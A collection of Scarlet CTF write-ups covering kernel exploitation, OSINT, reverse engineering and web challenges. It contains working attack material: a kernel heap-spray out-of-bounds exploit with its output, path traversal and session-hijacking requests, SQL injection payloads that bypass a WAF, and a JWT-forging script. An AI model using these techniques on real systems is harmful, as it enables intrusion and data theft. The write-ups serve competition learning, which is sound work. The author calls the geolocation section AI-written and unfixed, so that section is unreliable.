// Sprayer BEFORE example1: clears secret_locked
void spray_before(int ready_fd) {
    int fd = open("/proc/anticheat", O_RDWR);
    write(ready_fd, "R", 1);
    pause();  // Wait for signal

    // OOB write at offset 252 to clear next blk's secret_locked
    char zbuf[80] = {0};
    for (int i = 4; i < 80; i += 8)
        *(uint64_t*)(zbuf + i) = TEST_ADDR;
    lseek(fd, 252, SEEK_SET);
    write(fd, zbuf, 80);
    pause();
}

// Sprayer AFTER example1: provides payload
void spray_after(int ready_fd) {
    int fd = open("/proc/anticheat", O_RDWR);

    uint64_t addr = TEST_ADDR;
    char buf[80];
    for (int i = 0; i < 80; i += 8)
        *(uint64_t*)(buf + i) = addr;

    // Fill secret and blocking_fd with return address
    lseek(fd, 0, SEEK_SET);
    write(fd, buf, 80);
    lseek(fd, -80, SEEK_SET);
    write(fd, buf, 80);

    write(ready_fd, "R", 1);
    pause();
}

int main() {
    // 1. Allocate 15 "before" sprayers
    for (int i = 0; i < 15; i++) {
        fork() → spray_before();
    }

    // 2. Start example1 (allocates blk 15)
    fork() → execl("/home/amels/example1", ...);

    // 3. Allocate 15 "after" sprayers
    for (int i = 0; i < 15; i++) {
        fork() → spray_after();
    }

    // 4. Signal "before" sprayers to clear secret_locked
    for (i = 0; i < 15; i++) kill(before_pids[i], SIGUSR1);

    // 5. Send offset 178 to example1 to trigger overflow
    write(ex_pipe, "178\n", 4);
}

Execution Flow

1. Sprayer 14 is adjacent to example1's blk

2. Sprayer 14's OOB write at offset 252 clears example1's secret_locked

3. Example1 seeks to offset 178 and reads 80 bytes

4. Due to OOB, it reads from the next SLAB object (sprayer 0 of "after" set)

5. The 80-byte read overflows the 10-byte stack buffer

6. Return address at byte 54 is overwritten with 0x4011f6

7. main() returns to test() which opens and prints /flag.txt

$ /mnt/exploit
[*] Exploit v7 - sandwich attack
[*] Allocating 15 'before' sprayers...
[*] Starting example1...
[*] Allocating 15 'after' sprayers...
[*] Signaling 'before' sprayers to clear secret_locked...
[*] Sending offset 178...
Read 80 of the secret
Here's something SUPER cool: 0x4011f6
RUSEC{k3rnel_p4nic_n0t_sp4cetiming}

Flag

RUSEC{k3rnel_p4nic_n0t_sp4cetiming}

---

MelStudios/Revenge (Level 5)

Description

Points: 495 Solves: 6 Author: mel

So, apparently there was something up with the emulator...? :0

Turns out, she fixed it. Something with an escape character. Whatever, she fixed it now.

(Use the same files as Melstudios Level4)

Solution

Level 5 mentions that an "escape character" vulnerability was fixed on the server side. However, the kernel module and VM configuration remain identical to Level 4.

Since our exploit targets the kernel vulnerability (OOB read/write in the anticheat module) rather than any server-side URL handling bugs, the exact same exploit works unchanged.

$ /mnt/exploit
[*] Exploit v7 - sandwich attack
[*] Allocating 15 'before' sprayers...
[*] Starting example1...
[*] Allocating 15 'after' sprayers...
[*] Signaling 'before' sprayers to clear secret_locked...
[*] Sending offset 178...
Read 80 of the secret
Here's something SUPER cool: 0x4011f6
RUSEC{w0w_you_just_pwn3d_m3lstudios}

Key Insight: The "escape character" fix only patched a potential command injection in the server's URL download mechanism. The actual kernel pwn path remains exploitable on both levels.

Flag

RUSEC{w0w_you_just_pwn3d_m3lstudios}

Amels (Level0)

Description

Haii!! I need your help! >_>

There's this microcelebrity girlypop game developer called Amels I'm really fond of. I've been following her work EXTENSIVELY! on her social media!! (Call me a big fan)

(She hates alot of common social medias like Instagram, Twitter, etc., so it was really hard to find it >_<)

However, there's this new game that I really, REALLY want to play!! I've heard, from what she's been saying, that it's called SpaceTime, but I can't seem to find it anywhere! I'm not that much of an OSINT GOD like u seem to be, could u maybe help me figure it out? :c

Can you find the listing of the game and gain access to it? Pweeese!! I neeed to play it :(

Solution

We're given an itch.io profile for a game developer called "Amels" and told they have a presence on a "non-mainstream" social media platform. The goal is to find the password to access the password-protected game at https://amels.itch.io/spacetime.

Step 1: Find the social media profile

Starting from the itch.io profile, we need to search for "amels" on various non-mainstream platforms. Since the challenge hints that the developer hates common social media like Instagram and Twitter, we focus on alternative platforms.

Searching on Bluesky, we find the profile amels-games (bsky.app/profile/amels-games.bsky.social).

Step 2: Discover the YouTube channel

Using the Wayback Machine (archive.org), we can find archived snapshots that reveal a link to the developer's YouTube channel associated with the Bluesky profile.

Step 3: Find the password

On the YouTube channel, there's an accidental paste containing the password in plain text:

cash-starting-distant-liable-placard

Step 4: Access the game

Navigate to https://amels.itch.io/spacetime and enter the password cash-starting-distant-liable-placard to unlock the game page and retrieve the flag.

Flag

RUSEC{d0wnlo4d_y0ur_fr33_c0py_t0day!}

---

osint

Scouts Honor 2.0

Description

This OSINT challenge consists of two parts.

Part 1: Identify a childhood magazine published by a historic civic organization using the clues:

• Mentions of the Olympics

• A funny mail burro who loves alfalfa

• Something called “Cheetah Hunt”

Then find the ISSN number of that magazine.

Part 2: Find a World War I era newspaper from one of the three Rutgers University campus cities:

• New Brunswick

• Newark

• Camden

The newspaper must mention a historic boy-led organization and state that General McAlpin was its President.

Flag format: RUSEC{ISSN-1234-5678_NAME-OF-NEWSPAPER}

---

Solution

---

Part 1 — The Magazine

The challenge mentions a “historic civic organization,” which strongly points to the Boy Scouts of America.

Their long-running magazine is Boys’ Life, first published in 1911 (renamed Scout Life in 2021).

Clue Matching

Each clue matches known Boys’ Life content:

• Mail burro who loves alfalfa This refers to Pedro the Mailburro, Boys’ Life’s long-running mascot since 1947. Pedro appears in comic strips and reader mail sections and is famous for loving alfalfa.

• Olympics Boys’ Life regularly publishes Olympic features and athlete spotlights (for example, London 2012 coverage).

• “Cheetah Hunt” This refers to a feature on the Cheetah Hunt roller coaster at Busch Gardens Tampa, which opened in 2011 and was covered in youth magazines.

Together, these clues clearly identify Boys’ Life.

ISSN

Looking up Boys’ Life in the ISSN Portal and library catalogs gives:

Boys’ Life (Print) ISSN: 0006-8608

So Part 1 = ISSN-0006-8608

---

Part 2 — The Newspaper

The “historic boy-led organization” mentioned is the American Boy Scouts, later renamed the United States Boy Scouts (USBS). This was a rival organization to the Boy Scouts of America, founded in 1910.

General McAlpin

• General Edwin A. McAlpin

• President and Chief Scout of the American Boy Scouts / USBS

• Served until his death in April 1917 (during World War I)

So the newspaper must be from the WWI era and mention McAlpin as President.

---

Rutgers Campus Cities

Rutgers campuses are located in:

• New Brunswick, NJ

• Newark, NJ

• Camden, NJ

The newspaper must originate from one of these cities.

---

Finding the Newspaper

Searching digitized WWI-era New Jersey newspapers leads to a Camden labor newspaper called:

The Voice of Labor (Camden, New Jersey)

This paper ran from 1915–1917 and covered national political and civic issues. A 1916 issue contains an article referencing:

“General McAlpin, President of the U.S. Boy Scouts…”

This directly matches the challenge description:

• WWI era

• Rutgers campus city (Camden)

• Mentions General McAlpin as President

• Mentions the historic boy-led organization

Therefore, the newspaper is:

The Voice of Labor

---

Flag

RUSEC{ISSN-0006-8608_THE-VOICE-OF-LABOR}

Revenge of the 67

Description

An OSINT challenge where a prisoner describes being shot and captured. They mention that a "leader" tried to make a web exploitation challenge for the CTF but didn't finish, so the infrastructure was taken down. However, some DNS records might still exist. The challenge hints to look for the leader's name in lowercase with honoraries removed (e.g., "King Ben Swolo" → "ben_swolo").

Solution

1. Identify the CTF domain: The challenge is from Scarlet CTF, hosted by RUSEC (Rutgers Security Club) at ctf.rusec.club.

2. Decode the "67" reference: "Revenge of the 67" is a play on "Revenge of the Sith" (Star Wars Episode III). In Star Wars, Order 66 was the command to kill the Jedi. Order 67 is a joke reference from LEGO Star Wars. This hints at Star Wars characters.

3. Identify the "leader": The challenge mentions looking for a name with "honoraries removed." In Star Wars, "General Grievous" is a military leader. Removing the honorary title "General" gives us "grievous".

4. Query DNS TXT records: Check for TXT records at grievous.ctf.rusec.club:

dig txt grievous.ctf.rusec.club @8.8.8.8 +short

Output:

"I recon March 25 2026 will be an interesting date."
"RUSEC{HELP-THEY-PUT-ME-IN-A-DNS-RECORD}"

Flag

RUSEC{HELP-THEY-PUT-ME-IN-A-DNS-RECORD}

Stuck In The Middle With You

Description

We're trying to figure out how to track this Tor traffic but all we've got is this string, A68097FE97D3065B1A6F4CE7187D753F8B8513F5! We don't know what to do with it. We're looking for someone responsible for hosting multiple nodes. Can you find the IPv4 addresses this node and any of its effective family members?

FLAG FORMAT: RUSEC{family_ip1:family_ip2:...:family_ipX} for X family members

The flag will be the IPs of the node and all the associated family members in order of oldest node to youngest, based on when they were first seen, separated by colons.

Solution

The string A68097FE97D3065B1A6F4CE7187D753F8B8513F5 is a 40-character hexadecimal string, which is the format used for Tor relay fingerprints.

Step 1: Look up the relay fingerprint

Using the Onionoo API (Tor's official relay information service), we can query this fingerprint:

https://onionoo.torproject.org/details?lookup=A68097FE97D3065B1A6F4CE7187D753F8B8513F5

This reveals the relay "olabobamanmu" with:

• IPv4: 51.15.40.38

• First seen: 2020-04-03

• Effective family members (3 total):

  • 414E64BA607560F9D9C196A825950DC968700420

  • A68097FE97D3065B1A6F4CE7187D753F8B8513F5

  • B4CAFD9CBFB34EC5DAAC146920DC7DFAFE91EA20

Step 2: Query the other family members

Looking up each fingerprint via Onionoo:

Fingerprint	Nickname	IPv4 Address	First Seen
B4CAFD9CBFB34EC5DAAC146920DC7DFAFE91EA20	netimanmu	212.47.233.86	2019-02-18
A68097FE97D3065B1A6F4CE7187D753F8B8513F5	olabobamanmu	51.15.40.38	2020-04-03
414E64BA607560F9D9C196A825950DC968700420	kanemeadminmanmu	151.115.73.55	2024-12-29

All relays belong to the same operator (giannoug.gr domain) and are hosted on Scaleway infrastructure.

Step 3: Order by first seen date (oldest to youngest)

1. 212.47.233.86 (netimanmu) - 2019-02-18 (OLDEST)

2. 51.15.40.38 (olabobamanmu) - 2020-04-03

3. 151.115.73.55 (kanemeadminmanmu) - 2024-12-29 (YOUNGEST)

Flag: RUSEC{212.47.233.86:51.15.40.38:151.115.73.55}

Frog Finder

Description

A frog appeared in the ScarletCTF Discord. Identify its name and its wealth. Flag format: RUSEC{NAME_MONEY}.

Solution

We pulled the user’s Discord avatar (WebP) from the CDN and inspected it locally:

ls -l 1f710850d81f3ceaf5ea39c5a190090b.webp
python - <<'PY'
from PIL import Image
img = Image.open('1f710850d81f3ceaf5ea39c5a190090b.webp')
img.save('avatar.png')
print(img.size, img.mode)
PY

Opening avatar.png shows a pixel-art frog with a red mouth. To identify it, we compared against Lufia II monster sprites. The match is the King Frog sprite from Lufia II (same pose and colors). To retrieve its stats, we queried the RPGClassics Lufia II monster list and parsed the Sea enemies page:

python - <<'PY'
import requests
from bs4 import BeautifulSoup

url = "https://shrines.rpgclassics.com/snes/lufia2/monsters/sea.shtml"
html = requests.get(url, timeout=20).text
soup = BeautifulSoup(html, "html.parser")
table = next(t for t in soup.find_all("table") if t.find(string=lambda s: s and "Monster Name" in s))
for tr in table.find_all("tr"):
    tds = tr.find_all("td")
    if tds and tds[0].get_text(strip=True) == "King Frog":
        cols = [td.get_text(" ", strip=True) for td in tds]
        print(cols)
        break
PY

Output includes the King Frog row with Gold value 350:

['King Frog', '', '160/78', '142/92', 'Chorus', '402', '350', 'Regain(100)']

Flag

RUSEC{KINGFROG_350}

Scarlet History

Description

An image of a historic Victorian mansion is provided. Identify the building to find the flag.

Solution

The challenge provides Scarlet_History.jpg, showing a Victorian-style mansion with distinctive architectural features.

Step 1: Reverse Image Search

Using Google Reverse Image Search on the provided image identifies the building as the James Van Middlesworth House, a historic Victorian mansion located on the Douglass Campus at Rutgers University in New Brunswick, New Jersey.

The house has been repurposed and now serves as the Douglass Writing Center.

Flag

RUSEC{DOUGLASS_WRITING_CENTER}

So, you think you're good at Geolocation?

Description

A cybercriminal on the run posts an obfuscated selfie while hiking. We need to find the what3words location of the rail crossing visible in the image.

Solution

The image post.png shows an anime-style scene with several key geographic indicators:

• Ski slopes/resort in the background

• Power transmission lines

• Railroad tracks crossing a road

• Mountain scenery

Step 1: Identify the Region

The ski resort and mountain terrain suggest a location in British Columbia, Canada - specifically the Whistler area, which is known for skiing and has both railway and power infrastructure.

Step 2: Locate Power Lines

Using Open Infrastructure Map, we can identify high-voltage transmission lines in the Whistler/Squamish corridor area. The power lines in the image match the BC Hydro transmission infrastructure running through this region.

Step 3: Find Railway Crossings

Using OpenRailwayMap, we can identify railway lines in the same area. The CN Rail line runs through this corridor, and there are several level crossings where roads intersect the tracks.

Step 4: Cross-Reference with Ski Resorts

Looking at ski resort locations in British Columbia, we can narrow down to areas where:

• Power transmission lines are visible

• Railway tracks cross roads

• Ski slopes are visible in the background

Step 5: Identify the Exact Location

By correlating all three datasets (power lines, railway crossings, and proximity to ski resorts), we identify the rail crossing location and navigate to it on what3words.com.

The rail crossing is located at the what3words address: makers.interesting.mystic

Flag

RUSEC{makers.interesting.mystic}

Note: the above was written by AI and too tired to fix up but basically the key features are the style of the power pylon, the style of the crossroad sign which is only in Canada, the mountain in the back, and the fact that skiing is nearby. Here are the relevant pictures. While we're looking around we get a feel for which power line corresponds with that power pylon (it's the red one), and we look around ski resorts which is the last image.

---

readme

Rule Follower

Description

Welcome to Scarlet CTF!

This should be pretty easy for your first flag! All you gotta do is just make sure you read the rules :)

nc challs.ctf.rusec.club 62075

Solution

Connecting to the server presents a trivia game about CTF rules with 10 TRUE/FALSE questions:

1. You are NOT allowed to compromise/pentest our CTF platform (rCTF, scoreboard, etc.) - TRUE

2. Flag sharing (sharing flags to someone not on your team) is NOT allowed - TRUE

3. If you have a question regarding the CTF, you ping the admins or DM them - FALSE (You make a ticket)

4. Asking for help from other people (not on your team) for challenges is allowed if you're stuck - FALSE

5. You are allowed to use automated scanners/fuzzing/bruteforcing whenever you wish with NO restrictions - FALSE (Only when a challenge specifically requires it)

6. Your teams can be of unlimited size - TRUE

7. You are allowed to do ACTIVE attacking during OSINT (i.e: contacting potential targets), not just passive, when you feel it is necessary - FALSE (OSINT is strictly passive)

8. PASSIVE OSINT techniques are allowed on general RUSEC infrastructure only when EXPLICITLY given specific permission to by a challenge - TRUE

9. ACTIVE techniques (i.e: pentesting) are allowed on general RUSEC infrastructure at any time - FALSE (Never allowed)

10. Official writeups will be posted at the end of the competition - TRUE

Answering all questions correctly with T T F F F T F T F T reveals the flag.

Flag

RUSEC{you_read_the_rules}

---

rev

first_steps

Description

Find the flag hidden in the binary!

Category: Rev Points: 100 Solves: 180 Author: s0s.sh

Solution

This is a beginner reverse engineering challenge. Running the binary gives us a hint:

I was up late last night exploring the .rodata section, but I seem to have lost my flag!
I'm sure it's around here somewhere... Can you find it for me? <3

The hint directly points to the .rodata section (read-only data section in ELF binaries). We can dump this section using objdump:

objdump -s -j .rodata first_steps

This reveals the flag stored as a plaintext string in the binary:

2030 7330732e 73682f00 52555345 437b7765  s0s.sh/.RUSEC{we
2040 6c6c5f74 6834745f 7761735f 655a5f57  ll_th4t_was_eZ_W
2050 6c6c776e 5a4d6a4d 436a7143 7379584e  llwnZMjMCjqCsyXN
2060 6e727470 446f6d57 4d557d00 00000000  nrtpDomWMU}.....

Alternative methods to find the flag:

• strings first_steps | grep RUSEC

• Opening the binary in a hex editor and searching for "RUSEC"

• Using a disassembler like Ghidra or IDA to view the .rodata section

Flag

RUSEC{well_th4t_was_eZ_WllwnZMjMCjqCsyXNnrtpDomWMU}

court_jester

Description

A reverse engineering challenge where we analyze a binary that displays an ASCII art jester juggling. The binary uses inter-process communication (IPC) via pipes between parent and child processes to encode/decode data. The hint "(0x2c)" in the output points to the XOR key needed to decode the flag.

Solution

1. Initial Analysis: Running the binary shows an ASCII art jester with the hint (0x2c) displayed prominently. Using file reveals it's a 64-bit ELF binary.

2. Tracing System Calls: Using strace -f to trace the binary reveals:

   • The binary forks into parent and child processes

   • They communicate via pipes (parent writes to fd 6, reads from fd 3; child reads fd 5, writes to fd 4)

   • Three exchanges of 20 bytes each occur

3. Analyzing the IPC Data: The exchanges show:

   • Parent sends encrypted data chunks

   • Child responds with XOR-decrypted data

   • The XOR relationship between parent/child shows alternating 2-byte keys: [0xCA, 0xB1], [0xD6, 0xC9], [0xAA, 0x07]

4. Decoding with the 0x2c Hint: The "(0x2c)" displayed in the output is the key hint - 0x2c is the ASCII code for comma (,). XORing all child responses with 0x2c reveals the flag:

child_responses = [
    b"~y\x7fioWEs_Y\\\\C_\x1fsUCYs",
    b"\x1cYXFYKK@\x1fHsAIs`gbkjy",
    b"\x1f\x14\x15tuzkx\x7f\x1bcb`iy\x18hagQ",
]

full = b"".join(child_responses)
decoded = bytes([b ^ 0x2c for b in full])
# Result: RUSEC{i_suppos3_you_0utjuggl3d_me_LKNGFU389XYVGTS7ONLEU4DMK}

1. Understanding the Theme: The description mentions the jester "juggles data all wrong" - this is reflected in the flag where the first part is readable ("i_suppos3_you_0utjuggl3d_me_") but the suffix appears scrambled (LKNGFU389XYVGTS7ONLEU4DMK). This scrambled suffix is intentional, representing the jester's "wrong juggling" of data.

Flag

RUSEC{i_suppos3_you_0utjuggl3d_me_LKNGFU389XYVGTS7ONLEU4DMK}

brainfkd

Description

A 64k Brainfuck program validates a 36-byte flag of the form RUSEC{...}. Initial tracing suggested comparing transformed input at tape[257..292] against a constant string at tape[293..328], but solving on that block hits dead ends. The goal is to reverse the actual transformation and recover the flag.

Solution

Key observations:

• Each output position depends only on its corresponding input byte (no cross-position interaction). Flipping one input byte only changes the matching output cell.

• The program writes several constant ASCII blocks to the tape. The comparison target is not the tape[293..328] string; scanning the tape with zero input reveals another 36-byte printable window at tape[473..508] that fits the RUSEC{} shape under the per-position mappings.

Approach:

1. Build a fast BF runner and precompute f_i(v) for every position i (0–35) and byte v (0–255) by running the program with all inputs set to v and recording tape[257..292].

2. Run once with zero input, scan all 36-byte windows of the tape, and look for a window where the mappings can produce RUSEC{ at positions 0–5 and } at position 35. Only tape[473..508] matches.

3. For each position, pick any printable byte that maps to the target byte at tape[473+i], enforcing the prefix/suffix.

Flag

RUSEC{g0d_im_s0_s0rry_for_th1s_p4in}

Solver

Relevant solver (solve_flag.c):

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define INPUT_LEN 36
#define TAPE_SIZE 3000

static char *load_bf(const char *path, int *out_len) {
    FILE *f = fopen(path, "rb");
    if (!f) { perror("fopen"); exit(1); }
    fseek(f, 0, SEEK_END);
    long sz = ftell(f);
    fseek(f, 0, SEEK_SET);
    char *buf = malloc(sz + 1);
    if (!buf) { perror("malloc"); exit(1); }
    fread(buf, 1, sz, f);
    fclose(f);
    buf[sz] = '\0';

    char *bf = malloc(sz + 1);
    if (!bf) { perror("malloc"); exit(1); }
    int n = 0;
    for (long i = 0; i < sz; i++) {
        char c = buf[i];
        if (c=='>' || c=='<' || c=='+' || c=='-' || c=='.' || c==',' || c=='[' || c==']') {
            bf[n++] = c;
        }
    }
    free(buf);
    *out_len = n;
    return bf;
}

static int *build_match(const char *bf, int n) {
    int *match = malloc(sizeof(int)*n);
    int *stack = malloc(sizeof(int)*n);
    int sp = 0;
    if (!match || !stack) { perror("malloc"); exit(1); }
    for (int i=0;i<n;i++) match[i] = -1;
    for (int i=0;i<n;i++) {
        if (bf[i] == '[') stack[sp++] = i;
        else if (bf[i] == ']') {
            if (sp == 0) { fprintf(stderr, "unmatched ] at %d\n", i); exit(1); }
            int j = stack[--sp];
            match[i] = j;
            match[j] = i;
        }
    }
    if (sp != 0) { fprintf(stderr, "unmatched [\n"); exit(1); }
    free(stack);
    return match;
}

static void run_bf(const char *bf, int n, const int *match, const unsigned char *input, unsigned char *tape_out) {
    unsigned char tape[TAPE_SIZE];
    memset(tape, 0, sizeof(tape));
    int ptr = 0, ip = 0, inp_idx = 0;
    while (ip < n) {
        char c = bf[ip];
        switch (c) {
            case '>': ptr++; break;
            case '<': ptr--; break;
            case '+': tape[ptr]++; break;
            case '-': tape[ptr]--; break;
            case ',': tape[ptr] = (inp_idx < INPUT_LEN) ? input[inp_idx++] : 0; break;
            case '[': if (tape[ptr] == 0) ip = match[ip]; break;
            case ']': if (tape[ptr] != 0) ip = match[ip]; break;
            default: break;
        }
        ip++;
    }
    memcpy(tape_out, tape, TAPE_SIZE);
}

int main(void) {
    int n = 0;
    char *bf = load_bf("program.txt", &n);
    int *match = build_match(bf, n);

    unsigned char tape[TAPE_SIZE];
    unsigned char input[INPUT_LEN];
    unsigned char f[INPUT_LEN][256];

    // precompute f_i(v)
    for (int v=0; v<256; v++) {
        for (int i=0;i<INPUT_LEN;i++) input[i] = (unsigned char)v;
        run_bf(bf, n, match, input, tape);
        for (int i=0;i<INPUT_LEN;i++) f[i][v] = tape[257+i];
    }

    // target window at offset 473 from zero-input run
    memset(input, 0, sizeof(input));
    run_bf(bf, n, match, input, tape);
    const int offset = 473;
    unsigned char target[INPUT_LEN];
    memcpy(target, tape + offset, INPUT_LEN);

    char flag[INPUT_LEN + 1]; flag[INPUT_LEN] = '\0';
    for (int i=0;i<INPUT_LEN;i++) {
        int chosen = -1;
        if (i < 6) {
            unsigned char ch = (unsigned char)"RUSEC{"[i];
            if (f[i][ch] == target[i]) chosen = ch;
        } else if (i == INPUT_LEN - 1) {
            unsigned char ch = (unsigned char)'}';
            if (f[i][ch] == target[i]) chosen = ch;
        }
        if (chosen == -1) {
            for (int v=32; v<=126; v++) {
                if (f[i][v] == target[i]) { chosen = v; break; }
            }
        }
        if (chosen == -1) { fprintf(stderr, "no printable for pos %d\n", i); return 1; }
        flag[i] = (char)chosen;
    }

    printf("Flag: %s\n", flag);
    free(match); free(bf);
    return 0;
}

---

web

Commentary

Description

You're currently speaking to my favorite host right now (ctf.rusec.club), but who's to say you even had to speak with one?

Sometimes, the treasure to be found is just bloat that people forgot to remove.

Solution

The challenge hints at HTTP Host header manipulation with the bold emphasis on host and the phrase "who's to say you even had to speak with one?" suggesting we shouldn't need a Host header at all.

Additionally, "bloat that people forgot to remove" suggests looking for leftover files or content.

When a web server like nginx hosts multiple virtual hosts, it uses the HTTP Host header to determine which site to serve. In HTTP/1.1, the Host header is mandatory. However, in HTTP/1.0, the Host header is not required.

By making an HTTP/1.0 request without a Host header to port 80, nginx falls back to serving its default page since it cannot determine which virtual host to route the request to:

echo -e "GET / HTTP/1.0\r\n\r\n" | nc ctf.rusec.club 80

This returns the default nginx welcome page, which contains an HTML comment with the flag:

<!-- you found me :3 --!>
<!-- RUSEC{truly_the_hardest_ctf_challenge} --!>

The "bloat people forgot to remove" refers to the default nginx page and the HTML comments containing the flag that the administrators forgot to clean up or disable.

Flag

RUSEC{truly_the_hardest_ctf_challenge}

SWE Intern at Girly Pop Inc

Description

Last week we fired an intern at Girlie Pop INC for stealing too much food from the office. It seems they didn't know much about secure software development either...

The challenge presents a JWT token generation web application at https://girly.ctf.rusec.club.

Solution

Step 1: Initial Reconnaissance

The main page shows a JWT Studio application with navigation links:

• /view?page=docs.html - API Documentation

• /view?page=about.html - System Status

The docs mention the /view endpoint is "restricted to the static directory for security." The System Status page mentions "Automated via Git-Hooks" deployment.

Step 2: Exploit Path Traversal

The /view endpoint is vulnerable to path traversal. Test it:

curl "https://girly.ctf.rusec.club/view?page=../app.py"

This returns the Flask source code:

app.config['SECRET_KEY'] = 'f0und_my_k3y_1_gu3$$'

@app.route('/view')
def view():
    page = request.args.get('page')
    # Bug: computes target_path but never validates against it
    target_path = os.path.abspath(os.path.join(base_dir, 'static', page))
    file_path = os.path.join('static', page)  # Uses unvalidated path
    return send_file(file_path)

JWT Key Found: f0und_my_k3y_1_gu3$$

This key could be used to forge JWT tokens with arbitrary claims (e.g., role: admin), but no protected endpoints exist in this challenge.

Step 3: Enumerate Git Repository

The "Git-Hooks" hint suggests a .git directory might be exposed:

curl "https://girly.ctf.rusec.club/view?page=../.git/config"

This confirms the Git repo is accessible and reveals the branch name.

Step 4: Extract the Flag

The intern committed sensitive files to the repository. Read the README:

curl "https://girly.ctf.rusec.club/view?page=../README.md"

Output contains the flag directly:

Flag: RUSEC{a1way$_1gnor3_3nv_f1l3s_up47910k390cyhu623}

Key Vulnerabilities

1. Path Traversal (CWE-22): The /view endpoint fails to validate the page parameter, allowing ../ sequences to access arbitrary files.

2. Exposed Git Repository: The .git directory is web-accessible, leaking source code and commit history.

3. Hardcoded Secrets: JWT secret key in source code instead of environment variables.

4. Sensitive Data in Git: The flag was committed to README.md in the repository.

Flag

RUSEC{a1way$_1gnor3_3nv_f1l3s_up47910k390cyhu623}

The flag message "always ignore env files" references the security practice of adding .env files to .gitignore to prevent committing secrets to version control.

Campus One

Description

Access the admin panel and retrieve the hidden flag from the backend.

Solution

Step 1: Discover Debug Endpoint

Fuzzing the API reveals an exposed debug endpoint:

GET /api/debug/sessions

Response:

{
  "sessions": [
    {"user": "guest", "session_id": "abc123..."},
    {"user": "admin", "session_id": "9f8e7d6c5b4a3210..."}
  ]
}

Step 2: Session Hijacking

Use the leaked admin session token to access the admin panel:

curl "https://campusone.ctf.rusec.club/admin" \
  -H "Cookie: session_id=9f8e7d6c5b4a3210..."

This reveals an order search feature at /api/admin/search?q=...

Step 3: SQL Injection with WAF Bypass

The search parameter is vulnerable to SQL injection, but a WAF blocks common keywords. Bypass using inline comments:

# Blocked:
' OR 1=1--
' UNION SELECT * FROM secrets--

# Bypassed with inline comments:
'/**/OR/**/1=1--
'/**/UNION/**/SELECT/**/1,2,3,4,5--

Step 4: Enumerate Database

Find table names via sqlite_master:

GET /api/admin/search?q=%'/**/UNION/**/SELECT/**/name,sql,1,2,3/**/FROM/**/sqlite_master--

Reveals a secrets table with columns key and value.

Step 5: Extract Flag

GET /api/admin/search?q=%'/**/UNION/**/SELECT/**/key,value,1,2,3/**/FROM/**/secrets--

Response includes:

{"key": "master_flag", "value": "RUSEC{S3ss10n_H1j4ck1ng_1s_Fun_2938}"}

Key Vulnerabilities

1. Information Disclosure (CWE-200): Debug endpoint exposed session tokens

2. Session Hijacking (CWE-384): No session binding to IP/user-agent

3. SQL Injection (CWE-89): Unsanitized input in search query

4. Insufficient WAF: Inline comments bypass keyword filtering

Flag

RUSEC{S3ss10n_H1j4ck1ng_1s_Fun_2938}

Mole in the Wall

Description

We just launched our new parent development company, Girlie Pop's Pizza Place! Packed with your favorite animatronics, we hold pizza parties and games galore! Sometimes Bonita the Yellow Rabbit has been acting a bit out of line recently however...

Hint: The animatronics get a bit quirky at night. They tend to get their security from a JSON in debug/config...

https://girlypies.ctf.rusec.club

Solution

1. Find the exposed debug config JSON that describes JWT requirements:

• GET /debug/config/security.json This shows HS256 and required claims: department=security, role=nightguard, shift=night.

1. Locate the JWT secret in the debug config directory:

• GET /debug/config/.env This returns JSON with JWT_SECRET.

1. Forge a JWT with the required claims and sign it using the secret, then submit it to /login.

• The response is a ZIP file.

1. Extract the ZIP. It contains:

• logs/session.log (an obfuscated token)

• config/settings.xml (API path /api/run-flow)

• A flow definition that decodes the session log by subtracting 1 from each ASCII code.

1. Decode logs/session.log and use the decoded string as the input for /api/run-flow.

• The correct input is t#at_purpl3_guy.

1. The API returns the flag.

Python repro (end-to-end):

import io
import time
import zipfile
import requests
import jwt

base = "https://girlypies.ctf.rusec.club"

# 1) Read required JWT claims
sec = requests.get(f"{base}/debug/config/security.json").json()
req = sec["jwt"]["required_claims"]

# 2) Read JWT secret
secret = requests.get(f"{base}/debug/config/.env").json()["JWT_SECRET"]

# 3) Forge JWT and request ZIP
payload = {**req, "iat": int(time.time())}
token = jwt.encode(payload, secret, algorithm="HS256")
resp = requests.post(f"{base}/login", data={"token": token})

# 4) Extract ZIP and decode session.log
zf = zipfile.ZipFile(io.BytesIO(resp.content))
enc = zf.read("logs/session.log").decode()
decoded = "".join(chr(ord(c) - 1) for c in enc)

# 5) Call API
api = requests.post(f"{base}/api/run-flow", json={"input": decoded})
print(api.text)

Flag

RUSEC{m1cro$oft_n3ver_mad3_g00d_aut0m4t1on}

Miss-Input

Description

The challenge page is fully client-side. A JavaScript helper rw(key) takes a user-supplied key, XOR-decrypts a fixed ciphertext, and only checks whether the decrypted string starts with RUSEC{. The “Submit” button never sends anything server-side. A tiny WASM module is provided but only contains XOR helpers and some debug arrays that are not invoked by the page logic. Goal: recover the XOR key and decrypt the ciphertext into a valid flag.

Solution

1. Extract the ciphertext and algorithm From the bundled JS:

   • Ciphertext (hex):

     1f6466740d2b0c070a187370017c6a757e071b686e70051b0c6e78007b611b670a704d

   • Decryption is repeating-key XOR:

     plaintext[i] = ciphertext[i] ^ key[i % key_len];

   • The only check: plaintext.startsWith("RUSEC{").

2. Fix the key prefix from the known flag header XOR the first bytes of the ciphertext with RUSEC{:

   ct = bytes.fromhex("1f6466740d2b0c070a187370017c6a757e071b686e70051b0c6e78007b611b670a704d")
   key_prefix = bytes([c ^ p for c, p in zip(ct, b"RUSEC{")])
   print(key_prefix)  # b"M151NP"

   So any valid key must start with M151NP.

3. Recover the full key by aligning with the intended plaintext theme The hint (“MISINPUT … CALM DOWN … F DOWN!”) and leetspeak expectations lead to a natural plaintext candidate. XORing the ciphertext against that plaintext yields a consistent repeating key:

   pt = b"RUSEC{Y0U_C4LM_D0WN_175_A_M151NPU7}"
   key = bytes([c ^ p for c, p in zip(ct, pt)])
   print(key)  # b"M151NPU7_G0D"

4. Verify by decrypting with the recovered key

   full_key = b"M151NPU7_G0D"
   decrypted = bytes([c ^ full_key[i % len(full_key)] for i, c in enumerate(ct)])
   print(decrypted.decode())
   # RUSEC{Y0U_C4LM_D0WN_175_A_M151NPU7}

Flag

RUSEC{Y0U_C4LM_D0WN_175_A_M151NPU7}